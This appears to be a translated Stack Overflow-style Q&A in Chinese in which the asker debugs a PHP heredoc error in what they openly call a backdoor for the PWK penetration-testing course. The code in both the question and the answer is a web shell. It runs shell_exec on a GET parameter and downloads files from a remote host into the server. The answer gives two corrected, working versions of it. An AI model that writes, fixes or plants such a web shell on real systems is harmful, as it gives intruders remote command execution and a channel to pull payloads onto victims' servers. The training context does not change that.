脚本在单个函数中返回HTML和PHP时发生PHP错误

时间:2019-05-23 18:17:32

标签: php security

注意:对于那些指出的人。是的,代码对shell_exec使用不安全的函数GET。这是故意的。该脚本是我在PWK课程中使用的PHP后门程序的一部分。

if ($_GET['cmd']) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
 }

该脚本的其余部分在实现此功能之前实现了一些非常基本的身份验证。

我有一个php函数,我想用它返回带有两个输入字段并在两个if语句中支持PHP逻辑的基本视图/表单。

我遇到的问题是,在当前形式下,PHP显示两个错误:

  1. syntax error, unexpected '' (T_ENCAPSED_AND_WHITESPACE), expecting '-' or identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING)上的if ($_POST['upload'])
  2. 在每个Unexpected 'Unknown'.upload变量上
  3. cmd

我试图按照下面的方法进行操作,但是脚本似乎在HTML或PHP的起始位置处被破坏了,因为下面的函数也会受到影响。

function displayForm() {
    return <<<HTML
      <html>
        <body>
            <h1>somestuff</h1>
        </body>
      </html>
HTML;
}

如何解决此问题,以便正确地将表单和逻辑返回给用户?

全功能...

function displayForm() {
    return <<<HTML
        <html>
            <body>
                <form action="" method="POST" enctype="multipart/form-data">
                    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
                    <p> File: <input type="file" name="fileToUpload" id="fileToUpload">
                    <input type="submit" value="Upload" name="upload">
                </form>
                <br><br>
                <form method="GET">
                    <p>CMD: <input type="text" name="command">
                        <input type="submit" value="Exec" name="cmd">
                </form>
                <pre>
                    <?
                        if ($_POST['upload']) {
                            file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
                        }
                        if ($_GET['cmd']) {
                            echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
                        }
                    ?>
                </pre>
        </body>
    </html>
HTML;
}

1 个答案:

答案 0 :(得分:2)

您实际上不是处于HTML模式,您正在定义Heredoc字符串,因此不能闯入和闯入PHP。有几种方法可以做到这一点,这里有两种。构建变量以插入到Heredoc中:

function displayForm() {

    $extra = '';

    if ($_POST['upload']) {
        $extra .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
    }
    if ($_GET['cmd']) {
        $extra .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
    }

    echo <<<HTML
        <html>
            <body>
                <form action="" method="POST" enctype="multipart/form-data">
                    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
                    <p> File: <input type="file" name="fileToUpload" id="fileToUpload">
                    <input type="submit" value="Upload" name="upload">
                </form>
                <br><br>
                <form method="GET">
                    <p>CMD: <input type="text" name="command">
                        <input type="submit" value="Exec" name="cmd">
                </form>
                <pre>
                $extra
                </pre>
        </body>
    </html>
HTML;
}

或在您需要的地方进行操作:

function displayForm() {
    $output = <<<HTML
        <html>
            <body>
                <form action="" method="POST" enctype="multipart/form-data">
                    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
                    <p> File: <input type="file" name="fileToUpload" id="fileToUpload">
                    <input type="submit" value="Upload" name="upload">
                </form>
                <br><br>
                <form method="GET">
                    <p>CMD: <input type="text" name="command">
                        <input type="submit" value="Exec" name="cmd">
                </form>
                <pre>
HTML;
                        if ($_POST['upload']) {
                            $output .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
                        }
                        if ($_GET['cmd']) {
                            $output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
                        }
    $output .= <<<HTML
                </pre>
        </body>
    </html>
HTML;

    return $output;
}

请注意,您要根据此处的需要使用isset!empty

if (isset($_POST['upload'])) {
//and
if (isset($_GET['cmd'])) {

此外,这没有多大意义,因为file_put_contents返回写入文件的字节数,除非您在HTML中是这样:

$output .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));